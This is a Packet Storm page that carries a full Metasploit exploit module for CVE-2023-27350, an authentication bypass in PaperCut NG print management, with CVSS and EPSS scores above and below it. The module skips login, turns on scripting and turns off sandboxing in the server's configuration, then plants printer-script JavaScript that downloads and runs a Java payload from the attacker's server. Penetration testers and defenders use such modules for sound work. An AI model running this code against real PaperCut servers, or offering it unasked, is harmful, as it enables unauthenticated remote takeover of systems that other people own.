Lucene search

K
packetstormCatatonicprime, metasploit.comPACKETSTORM:172780
HistoryJun 07, 2023 - 12:00 a.m.

PaperCut PaperCutNG Authentication Bypass

2023-06-0700:00:00
catatonicprime, metasploit.com
packetstormsecurity.com
116

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.944 High

EPSS

Percentile

98.8%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'cgi'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'PaperCut PaperCutNG Authentication Bypass',  
'Description' => %q{  
This module leverages an authentication bypass in PaperCut NG. If necessary it  
updates Papercut configuration options, specifically the 'print-and-device.script.enabled'  
and 'print.script.sandboxed' options to allow for arbitrary code execution running in  
the builtin RhinoJS engine.  
  
This module logs at most 2 events in the application log of papercut. Each event is tied  
to modifcation of server settings.  
},  
'License' => MSF_LICENSE,  
'Author' => ['catatonicprime'],  
'References' => [  
['CVE', '2023-27350'],  
['ZDI', '23-233'],  
['URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219'],  
['URL', 'https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/'],  
['URL', 'https://www.bleepingcomputer.com/news/security/hackers-actively-exploit-critical-rce-bug-in-papercut-servers/'],  
['URL', 'https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software']  
],  
'Stance' => Msf::Exploit::Stance::Aggressive,  
'Targets' => [ [ 'Automatic Target', {}] ],  
'Platform' => [ 'java' ],  
'Arch' => ARCH_JAVA,  
'Privileged' => true,  
'DisclosureDate' => '2023-03-13',  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => '9191',  
'SSL' => 'false'  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]  
}  
)  
)  
register_options(  
[  
OptString.new('TARGETURI', [true, 'Path to the papercut application', '/app']),  
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10])  
], self.class  
)  
@csrf_token = nil  
@config_cleanup = []  
end  
  
def bypass_auth  
# Attempt to generate a session & recover the anti-csrf token for future requests.  
res = send_request_cgi(  
{  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path),  
'keep_cookies' => true,  
'vars_get' => {  
'service' => 'page/SetupCompleted'  
}  
}  
)  
return nil unless res && res.code == 200  
  
vprint_good("Bypass successful and created session: #{cookie_jar.cookies[0]}")  
  
# Parse the application version from the response for future decisions.  
product_details = res.get_html_document.xpath('//div[contains(@class, "product-details")]//span').children[1]  
if product_details.nil?  
product_details = res.get_html_document.xpath('//span[contains(@class, "version")]')  
end  
version_match = product_details.text.match('(?<major>[0-9]+)\.(?<minor>[0-9]+)')  
@version_major = Integer(version_match[:major])  
match = res.get_html_document.xpath('//script[contains(text(),"csrfToken")]').text.match(/var csrfToken ?= ?'(?<csrf>[^']*)'/)  
@csrf_token = match ? match[:csrf] : ''  
end  
  
def get_config_option(name)  
# 1) do a quickfind (setting the tapestry state)  
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path),  
'keep_cookies' => true,  
'headers' => {  
'Origin' => full_uri  
},  
'vars_post' => {  
'service' => 'direct/1/ConfigEditor/quickFindForm',  
'sp' => 'S0',  
'Form0' => '$TextField,doQuickFind,clear',  
'$TextField' => name,  
'doQuickFind' => 'Go'  
}  
}  
)  
# 2) parse and return the result  
return nil unless res && res.code == 200 && (html = res.get_html_document)  
return nil unless (td = html.xpath("//td[@class='propertyNameColumnValue']"))  
return nil unless td.count == 1 && td.text == name  
  
value_input = html.xpath("//input[@name='$TextField$0']")  
value_input[0]['value']  
end  
  
def set_config_option(name, value, rollback)  
# set name:value pair(s)  
current_value = get_config_option(name)  
if current_value == value  
vprint_good("Server option '#{name}' already set to '#{value}')")  
return  
end  
  
vprint_status("Setting server option '#{name}' to '#{value}') was '#{current_value}'")  
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path),  
'keep_cookies' => true,  
'headers' => {  
'Origin' => full_uri  
},  
'vars_post' => {  
'service' => 'direct/1/ConfigEditor/$Form',  
'sp' => 'S1',  
'Form1' => '$TextField$0,$Submit,$Submit$0',  
'$TextField$0' => value,  
'$Submit' => 'Update'  
}  
}  
)  
fail_with Failure::NotVulnerable, "Could not update server config option '#{name}' to value of '#{value}'" unless res && res.code == 200  
# skip storing the cleanup change if this is rolling back a previous change  
@config_cleanup.push([name, current_value]) unless rollback  
end  
  
def cleanup  
super  
if @config_cleanup.nil?  
return  
end  
  
until @config_cleanup.empty?  
cfg = @config_cleanup.pop  
vprint_status("Rolling back '#{cfg[0]}' to '#{cfg[1]}'")  
set_config_option(cfg[0], cfg[1], true)  
end  
end  
  
def primer  
payload_uri = get_uri  
script = <<~SCRIPT  
var urls = [new java.net.URL("#{payload_uri}.jar")];  
var cl = new java.net.URLClassLoader(urls).loadClass('metasploit.Payload').newInstance().main([]);  
s;  
SCRIPT  
  
# The number of parameters passed changed in version 17.  
form0 = 'printerId,enablePrintScript,scriptBody,$Submit,$Submit$0'  
if @version_major > 16  
form0 += ',$Submit$1'  
end  
# 6) Trigger the code execution the printer_id  
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path),  
'keep_cookies' => true,  
'headers' => {  
'Origin' => full_uri  
},  
'vars_post' => {  
'service' => 'direct/1/PrinterDetails/$PrinterDetailsScript.$Form',  
'sp' => 'S0',  
'Form0' => form0,  
'enablePrintScript' => 'on',  
'$Submit$1' => 'Apply',  
'printerId' => 'l1001',  
'scriptBody' => script  
}  
}  
)  
fail_with Failure::NotVulnerable, 'Failed to prime payload.' unless res && res.code == 200  
end  
  
def check  
# For the check command  
bypass_success = bypass_auth  
if bypass_success.nil?  
return Exploit::CheckCode::Safe  
end  
  
return Exploit::CheckCode::Vulnerable  
end  
  
def exploit  
# Main function  
# 1) Bypass the auth using the SetupCompleted page & store the csrf_token for future requests.  
bypass_auth unless @csrf_token  
if @csrf_token.nil?  
fail_with Failure::NotVulnerable, 'Target is not vulnerable'  
end  
  
# Sandboxing wasn't introduced until version 19  
if @version_major >= 19  
# 2) Enable scripts, if needed  
set_config_option('print-and-device.script.enabled', 'Y', false)  
  
# 3) Disable sandboxing, if needed  
set_config_option('print.script.sandboxed', 'N', false)  
end  
# 5) Select the printer, this loads it into the tapestry session to be modified  
res = send_request_cgi(  
{  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path),  
'keep_cookies' => true,  
'headers' => {  
'Origin' => full_uri  
},  
'vars_get' => {  
'service' => 'direct/1/PrinterList/selectPrinter',  
'sp' => 'l1001'  
}  
}  
)  
fail_with Failure::NotVulnerable, 'Unable to select [Template Printer]' unless res && res.code == 200  
  
Timeout.timeout(datastore['HTTPDELAY']) { super }  
rescue Timeout::Error  
# When the server stop due to our timeout, this is raised  
end  
  
def on_request_uri(cli, request)  
vprint_status("Sending payload for requested uri: #{request.uri}")  
send_response(cli, payload.raw)  
end  
  
end  
`

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.944 High

EPSS

Percentile

98.8%